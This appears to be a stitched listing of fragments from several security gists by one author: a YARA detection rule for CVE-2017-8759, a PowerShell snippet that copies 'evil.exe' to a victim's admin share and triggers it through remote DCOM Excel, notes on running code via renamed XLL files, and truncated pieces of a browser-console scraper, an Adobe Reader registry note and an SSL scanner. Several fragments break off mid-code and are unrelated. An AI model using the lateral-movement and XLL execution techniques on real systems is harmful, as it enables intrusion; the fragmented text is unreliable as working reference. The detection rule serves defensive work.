rxwx

rule CVE_2017_8759_CRLF {
   meta:
      description = "Detects attempts to exploit CVE-2017-8759 CRLF injection in WSDL file"
      author = "Rich Warren @buffaloverflow"
      reference = "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html"
      date = "2017-09-17"
   strings:
      $s1 = /<soap:address location=\";\r?\n/ ascii wide nocase
   condition:
      $s1

rxwx

rxwx

$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "192.168.1.111"))
# Windows 10 specific, but searches PATH so ..
copy C:\payloads\evil.exe \\victimip\c$\Users\bob\AppData\Local\Microsoft\WindowsApps\FOXPROW.EXE
$excel.ActivateMicrosoftApp("5")
# excel executes your binary :)

rxwx

// paste this in the chrome console and call findMemberID() when on a profile page
// need to be logged in

function decodeHtml(html) {
    var txt = document.createElement("textarea");
    txt.innerHTML = html;
    return txt.value;
}

function httpGet(){

rxwx

Description

This Gist documents the values of the HKLM\SOFTWARE\Policies\Adobe\Acrobat Reader\11.0\FeatureLockDown\cDefaultLaunchAttachmentPerms registry key in each version of Adobe Reader 11.0.10 -> 11.0.x

Value meanings

According to: https://www.adobe.com/devnet-docs/acrobatetk/tools/PrefRef/Windows/Attachments.html#idkeyname_1_2986

There are 3 possible values:

rxwx

Notes

An XLL file is basically a DLL with some special features to make it work with Excel.

See - https://msdn.microsoft.com/en-us/library/office/bb687911.aspx

By creating a DLL which exports xlAutoOpen, and then renaming the compiled DLL to .xll, we can execute our code in DllMain when the file is loaded by Excel.

The attached .xll file will open with Excel (by default) when double-clicked. The user will then be presented with a warning. If the warning is clicked through, then our code is executed.

rxwx

#!/usr/bin/env python

import OpenSSL
from iptools import IpRangeList
import ssl
import socket
import sys
import argparse

def do_scan(range, csv=False):